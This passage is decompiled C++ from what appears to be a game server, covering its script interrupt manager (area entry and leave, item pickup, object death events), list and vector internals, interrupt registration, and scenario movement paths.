ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_HPFull)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_HPFull)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"); } //----- (004F28A0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_ObjectDead)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_ObjectDead)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead"); } //----- (004F29B0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AreaEntry)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AreaEntry)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry"); } //----- (004F2AC0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AreaLeave)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_AreaLeave)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave"); } //----- (004F2BD0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_ItemPickedUp)( *(_DWORD *)v11, arg); else ((void (__stdcall *)(_DWORD, ScriptInterrupt::InterruptHappenArgument *))v10->vfptr->sib_ItemPickedUp)(0, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem"); } //----- (004F2CE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 int v5; // eax@4 int v6; // edx@5 int v7; // ecx@5 int v8; // edx@5 int v9; // ecx@5 int v10; // edx@5 unsigned int v11; // ecx@5 FunctionEntarance _; // [sp+Ch] [bp-118h]@1 ScriptInterrupt::InterruptHappenArgument arg; // [sp+10h] [bp-114h]@5 unsigned int v14; // [sp+114h] [bp-10h]@1 int v15; // [sp+120h] [bp-4h]@1 v4 = this; v14 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; if ( !(_S67_3 & 1) ) { _S67_3 |= 1u; cmc_64.cmc_AllowMode = 70; atexit(_E68_3); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_64.cmc_AllowMode ) { v5 = *(_DWORD *)((char *)v4 + 98); if ( v5 ) { v6 = *(_DWORD *)(netcmd + 2); *(_DWORD *)&arg.npcclick.index[4] = *(_DWORD *)(netcmd + 6); v7 = *(_DWORD *)(netcmd + 14); *(_DWORD *)&arg.npcclick.index[0] = v6; v8 = *(_DWORD *)(netcmd + 10); *(_DWORD *)&arg.npcclick.index[12] = v7; v9 = *(_DWORD *)(netcmd + 22); *(_DWORD *)&arg.npcclick.index[8] = v8; v10 = *(_DWORD *)(netcmd + 18); *(_DWORD *)&arg.npcclick.index[20] = v9; v11 = *(_DWORD *)(netcmd + 30); *(_DWORD *)&arg.npcclick.index[16] = v10; *(_QWORD *)&arg.npcclick.index[24] = __PAIR__(v11, *(_DWORD *)(netcmd + 26)); arg.npcclick.npc = *((_WORD *)v4 + 2); Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v5 + 68), ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry, &arg); } } --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK"); __security_check_cookie((unsigned int)&_ ^ v14); } //----- (004F2E50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 signed int v5; // eax@1 int v6; // edx@4 int v7; // eax@6 int v8; // ecx@6 int v9; // eax@6 int v10; // ecx@6 int v11; // eax@6 int v12; // ecx@6 int v13; // eax@6 char *v14; // [sp-4h] [bp-13Ch]@5 int arg; // [sp+18h] [bp-120h]@6 int v16; // [sp+1Ch] [bp-11Ch]@6 int v17; // [sp+20h] [bp-118h]@6 int v18; // [sp+24h] [bp-114h]@6 int v19; // [sp+28h] [bp-110h]@6 int v20; // [sp+2Ch] [bp-10Ch]@6 int v21; // [sp+30h] [bp-108h]@6 int v22; // [sp+34h] [bp-104h]@6 __int16 v23; // [sp+38h] [bp-100h]@6 unsigned int v24; // [sp+124h] [bp-14h]@1 int v25; // [sp+134h] [bp-4h]@1 int v26; // [sp+138h] [bp+0h]@1 v4 = this; v24 = (unsigned int)&v26 ^ __security_cookie; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK"; v5 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v25 = 0; if ( !(_S69 & 1) ) { _S69 |= 1u; cmc_65.cmc_AllowMode = 70; atexit(_E70_0); v5 = -1; } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_65.cmc_AllowMode && (v6 = *(_DWORD *)((char *)v4 + 98)) != 0 ) { memset(&arg, 0, 0x104u); v7 = *(_DWORD *)(netcmd + 2); v16 = *(_DWORD *)(netcmd + 6); v8 = *(_DWORD *)(netcmd + 14); arg = v7; v9 = *(_DWORD *)(netcmd + 10); v18 = v8; v10 = *(_DWORD *)(netcmd + 22); v17 = v9; v11 = *(_DWORD *)(netcmd + 18); v20 = v10; v12 = *(_DWORD *)(netcmd + 30); v19 = v11; v13 = *(_DWORD *)(netcmd + 26); v22 = v12; v21 = v13; v23 = *((_WORD *)v4 + 2); Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v6 + 68), ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave, (ScriptInterrupt::InterruptHappenArgument *)&arg); v25 = -1; v14 = "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK"; } else { v25 = v5; v14 = "ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); } //----- (004F2FE0) -------------------------------------------------------- const char *__thiscall ScriptInterrupt::ScriptInteruptWinGuild::GetName(ScriptInterrupt::ScriptInteruptWinGuild *this) { return "WinGuild"; } //----- (004F2FF0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInteruptWinGuild::UpdateArgument(ScriptInterrupt::ScriptInteruptWinGuild *this, PineScriptToken *argument) { int v2; // ST00_4@1 PineScriptToken *v3; // eax@1 v2 = this->RegNo; v3 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v3, v2); } //----- (004F3010) -------------------------------------------------------- void *__thiscall ScriptInterrupt::ScriptInteruptWinGuild::_vector_deleting_destructor_(ScriptInterrupt::ScriptInteruptWinGuild *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004F3030) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004F3150) -------------------------------------------------------- ScriptInterrupt::ScriptInteruptWinGuild *__cdecl ScriptInterrupt::ScriptInterruptUnit::GetInstance() { if ( !(__S71__1__GetInstance___ScriptInterruptUnit_VScriptInteruptWinGuild_ScriptInterrupt___ScriptInterrupt__SAPAVScriptInteruptWinGuild_3_XZ_4IA & 1) ) { __S71__1__GetInstance___ScriptInterruptUnit_VScriptInteruptWinGuild_ScriptInterrupt___ScriptInterrupt__SAPAVScriptInteruptWinGuild_3_XZ_4IA |= 1u; _Instance.baseclass_0.baseclass_0.baseclass_0.vfptr = (ScriptInterrupt::ScriptInterruptBaseVtbl *)&ScriptInterrupt::ScriptInteruptWinGuild::_vftable_; atexit(_Instance); } return &_Instance; } // 6593F4: using guessed type int (__stdcall *ScriptInterrupt__ScriptInteruptWinGuild___vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // 130A5AA4: using guessed type int ?$S71_?1??GetInstance_?$ScriptInterruptUnit_VScriptInteruptWinGuild_ScriptInterrupt___ScriptInterrupt__SAPAVScriptInteruptWinGuild_3_XZ_4IA; //----- (004F3190) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::ScriptInterruptManager(ScriptInterrupt::ScriptInterruptManager *this) { ScriptInterrupt::ScriptInterruptManager *v1; // esi@1 signed int v2; // edx@1 signed int v3; // eax@1 int v4; // edi@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 ScriptInterrupt::ScriptInterruptArgument *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 ScriptInterrupt::ScriptInterruptArgument *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 ScriptInterrupt::ScriptInterruptArgument *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 ScriptInterrupt::ScriptInterruptArgument *v16; // ebp@12 int v17; // ecx@12 ListStruct *v18; // ecx@15 ScriptInterrupt::ScriptInterruptArgument *v19; // ebp@15 int v20; // ecx@15 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)ScriptInterrupt::ScriptInterruptManager::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x14u); v1->baseclass_0.vfptr = (ListVtbl *)ScriptInterrupt::ScriptInterruptManager::_vftable_; _eh_vector_constructor_iterator_( v1->sim_ArgArray, 0x220u, 20, (void (__thiscall *)(void *))ScriptInterrupt::ScriptInterruptArgument::ScriptInterruptArgument, (void (__thiscall *)(void *))ScriptInterrupt::ScriptInterruptArgument::_ScriptInterruptArgument); v2 = 2; v3 = 3; v4 = (int)&v1->sim_ArgArray[1]; v5 = 4; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3 - 3].ls_Content; v8 = (int)&v6[v3 - 3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 544; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 - 2].ls_Content; v11 = (int)&v9[v3 - 2]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 - 1].ls_Content; v14 = (int)&v12[v3 - 1]; if ( !v13 ) *(_DWORD *)v14 = v4 + 544; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 1088; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = v1->baseclass_0.l_Array; v19 = v18[v3 + 1].ls_Content; v20 = (int)&v18[v3 + 1]; if ( !v19 ) *(_DWORD *)v20 = v4 + 1632; } v3 += 5; v2 += 5; v4 += 2720; --v5; } while ( v5 ); } // 65886C: using guessed type int (__stdcall *ScriptInterrupt__ScriptInterruptManager___vftable_[3])(__int16 hnd); //----- (004F32D0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004F3340) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ScriptInterrupt::ScriptInterruptUnitBase *const *_Val) { std::vector > *v4; // esi@1 ScriptInterrupt::ScriptInterruptUnitBase **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #593 **v16; // eax@25 ScriptInterrupt::ScriptInterruptUnitBase **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #593 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (ScriptInterrupt::ScriptInterruptUnitBase *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#593 **)(v20 - v23); v4->_Mylast = (ScriptInterrupt::ScriptInterruptUnitBase **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#593 ***)&v21, v25, (#593 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#593 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (ScriptInterrupt::ScriptInterruptUnitBase **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#593 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (ScriptInterrupt::ScriptInterruptUnitBase **)((char *)_Newvec + _Counta); v4->_Mylast = (ScriptInterrupt::ScriptInterruptUnitBase **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (ScriptInterrupt::ScriptInterruptUnitBase **)_Newvec; } } } //----- (004F3520) -------------------------------------------------------- ScriptInterrupt::ScriptInterruptUnitBase *__thiscall ScriptInterrupt::ScriptInterruptRegisterManager::GetInterruptByName(ScriptInterrupt::ScriptInterruptRegisterManager *this, const char *pkName) { ScriptInterrupt::ScriptInterruptRegisterManager *v2; // ebx@1 unsigned int i; // edi@1 ScriptInterrupt::ScriptInterruptUnitBase **v4; // ecx@2 ScriptInterrupt::ScriptInterruptUnitBase *v5; // esi@4 const char *v6; // eax@4 v2 = this; for ( i = 0; ; ++i ) { v4 = v2->m_vecInterrupts._Myfirst; if ( !v4 ) break; if ( v2->m_vecInterrupts._Mylast - v4 <= i ) break; v5 = v4[i]; v6 = (const char *)((int (__thiscall *)(_DWORD))v5->baseclass_0.vfptr[1].sib_NPCClicked)(v4[i]); if ( !_stricmp(v6, pkName) ) return v5; } return 0; } //----- (004F3570) -------------------------------------------------------- ScriptInterrupt::ScriptInterruptRegisterManager *__cdecl ScriptInterrupt::ScriptInterruptRegisterManager::GetInstance() { if ( !(__S1__1__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA & 1) ) { __S1__1__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA |= 1u; _ins.m_vecInterrupts._Myfirst = 0; _ins.m_vecInterrupts._Mylast = 0; _ins.m_vecInterrupts._Myend = 0; atexit(_ins); } return &_ins; } // 130A5AB8: using guessed type int ?$S1_?1??GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA; //----- (004F35D0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAdder::ScriptInterruptAdder(ScriptInterrupt::ScriptInterruptAdder *this, ScriptInterrupt::ScriptInterruptUnitBase *pScriptBase) { ScriptInterrupt::ScriptInterruptUnitBase *v2; // ebx@1 ScriptInterrupt::ScriptInterruptRegisterManager *v3; // eax@1 ScriptInterrupt::ScriptInterruptUnitBase **v4; // edx@1 int v5; // esi@2 ScriptInterrupt::ScriptInterruptUnitBase **v6; // ecx@6 v2 = pScriptBase; v3 = ScriptInterrupt::ScriptInterruptRegisterManager::GetInstance(); v4 = v3->m_vecInterrupts._Myfirst; if ( v4 ) v5 = v3->m_vecInterrupts._Mylast - v4; else v5 = 0; if ( v4 && v5 < v3->m_vecInterrupts._Myend - v4 ) { v6 = v3->m_vecInterrupts._Mylast; *v6 = v2; v3->m_vecInterrupts._Mylast = v6 + 1; } else { std::vector>::_Insert_n( &v3->m_vecInterrupts, (std::vector >::iterator)v3->m_vecInterrupts._Mylast, 1u, &pScriptBase); } } //----- (004F3640) -------------------------------------------------------- bool __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Unit(ScriptInterrupt::ScriptInterruptManager *this, Name4 *index, PineScriptToken *exp, int num) { unsigned int v4; // eax@1 ScriptInterrupt::ScriptInterruptManager *v5; // edi@1 char *v6; // eax@1 const char *v7; // ST0C_4@1 ScriptInterrupt::ScriptInterruptRegisterManager *v8; // eax@1 ScriptInterrupt::ScriptInterruptBase *v9; // eax@1 bool result; // al@2 v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = this; v6 = (char *)&namestring + 256 * v4; *(_QWORD *)v6 = *(_QWORD *)&index->n4_name[0]; *((_DWORD *)v6 + 2) = *(_DWORD *)&index->n4_name[8]; v7 = v6; *((_DWORD *)v6 + 3) = *(_DWORD *)&index->n4_name[12]; v6[16] = 0; v8 = ScriptInterrupt::ScriptInterruptRegisterManager::GetInstance(); v9 = (ScriptInterrupt::ScriptInterruptBase *)ScriptInterrupt::ScriptInterruptRegisterManager::GetInterruptByName( v8, v7); if ( v9 ) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(v5, index, v9, exp, num); result = 1; } else { result = 0; } return result; } //----- (004F36C0) -------------------------------------------------------- char __thiscall NPCAction::SkillCondition::needToAttach(CQuest *this) { return 1; } //----- (004F36D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_scene_MovePathSet(void *this, int locx, int locy, int stt) { void *v4; // esi@1 unsigned int v5; // eax@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_scene_MovePathSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_scene_MovePathSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *((_DWORD *)v4 + 1855); if ( v5 < 0x10 ) { *((_DWORD *)v4 + 3 * v5 + 1807) = locx; *((_DWORD *)v4 + 3 * *((_DWORD *)v4 + 1855) + 1808) = locy; *((_DWORD *)v4 + 3 * ((*((_DWORD *)v4 + 1855))++ + 603)) = stt; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_scene_MovePathSet"); } //----- (004F37A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_MoveByScenario(void *this) { int v1; // esi@1 int v2; // eax@1 int v3; // ecx@3 int v4; // eax@3 int v5; // edi@4 char *v6; // ecx@4 int v7; // eax@4 int v8; // ecx@4 int v9; // edi@5 int v10; // eax@5 int v11; // ecx@5 int v12; // 